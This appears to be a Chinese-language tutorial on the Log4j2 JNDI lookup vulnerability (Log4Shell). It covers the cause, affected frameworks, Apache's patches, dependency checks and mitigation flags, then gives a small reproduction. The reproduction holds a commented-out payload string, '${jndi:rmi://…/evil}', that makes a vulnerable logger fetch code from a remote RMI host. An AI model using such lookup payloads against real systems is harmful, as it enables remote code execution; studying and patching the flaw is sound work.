1. 什么是Log4j?
- Log4j是Apache的一个开源项目,主要是是用来记录日志信息的输出或者记录.
2. 为什么会造成这个漏洞?
- 原因很简单,log4j想干的是太多了,还想利用在本机上利用rmi运行别处的代码,并输出或记录日志.
- 具体来说,Log4j2提供的提供的lookup共能造成的,该功能允许开发者通过一些协议(JNDI或其他)去读取相应环境中的配置.但是并没有进行严格的判断,从而导致了该漏洞的发生
3. 在什么地方会发生这个漏洞?
-
一些主流的Java框架:
- Spring-Boot
- Apache Struts2
- Apache Solr
- flume
- …
-
受到影响的游戏:
- 我的世界(MineCrafe)
4. Apache的解决方案是什么?
-
在爆出此漏洞后的Apache Log4j 2.15.0 RC1中,目前是指定了java,Idap和Iadps可以使用这个协议,限制了Idap仅限本地访问java的对象
-
此后,当RC1仍然爆出有远程代码漏洞后,Apache Log4j2 2.15.0 RC2直接将lookup远程获取源代码相关功能给关了(惹不起?还关不起吗?)
5. 开发者如何进行审查?
- 如果是用Maven部署的项目,那么请审查pom.xml文件,是否有log4j的core和api且为2.14.0以下版本,那么请尽快把下面的版本号转为2.15.0
就类似下图
- 如果开发者不是基于Maven部署,那么就要审查项目中是否导入log4j 2.x.x的jar包.
6. 如果为了项目的稳定性,无法升级Log4j,又该怎么解决呢?
- 前提是你不用lookup,那么可以修改jvm参数: -Dlog4j2.formatMsgNoLookups=true
- 也可以修改配置:log4j2.formatMsgNoLookups=True
- 修改系统变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
- 注意Java版本
7. 简单的漏洞复刻:
文件结构
├─src
│ ├─main
│ │ ├─java
│ │ │ └─com
│ │ │ └─loudong
│ │ │ │ Log4j2Test.java
Log4j2Test.java源代码
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Log4j2Test {
private static final Logger LOGGER = LogManager.getLogger();
public static void main (String... args){
String username = "${java:os}";
//String username = "${jndi:rmi://172.16.10.38:1099/evil}";
// 上面在下面中会用到,用时直接打掉注释即可
LOGGER.info("Hello,{}!。",username);
}
}
前提是项目里有log4j,且版本号低于2.15.0
其中log4j2.xml文件配置如下
<?xml version="1.0" encoding="UTF-8"?>
<!--
status : 这个用于设置log4j2自身内部的信息输出,可以不设置,当设置成trace时,会看到log4j2内部各种详细输出
monitorInterval : Log4j能够自动检测修改配置文件和重新配置本身, 设置间隔秒数。
注:本配置文件的目标是将不同级别的日志输出到不同文件,最大2MB一个文件,
文件数据达到最大值时,旧数据会被压缩并放进指定文件夹
-->
<Configuration status="WARN" monitorInterval="600">
<Properties>
<!-- 配置日志文件输出目录,此配置将日志输出到tomcat根目录下的指定文件夹 -->
<Property name="LOG_HOME">Logs</Property>
</Properties>
<Appenders>
<!--这个输出控制台的配置,这里输出除了warn和error级别的信息到System.out-->
<Console name="console_out_appender" target="SYSTEM_OUT">
<!-- 控制台只输出level及以上级别的信息(onMatch),其他的直接拒绝(onMismatch) -->
<ThresholdFilter level="warn" onMatch="DENY" onMismatch="ACCEPT"/>
<!-- 输出日志的格式 -->
<PatternLayout pattern="%5p [%t] %d{yyyy-MM-dd HH:mm:ss} (%F:%L) %m%n"/>
</Console>
<!--这个输出控制台的配置,这里输出warn和error级别的信息到System.err,在eclipse控制台上看到的是红色文字-->
<Console name="console_err_appender" target="SYSTEM_ERR">
<!-- 控制台只输出level及以上级别的信息(onMatch),其他的直接拒绝(onMismatch) -->
<ThresholdFilter level="warn" onMatch="ACCEPT"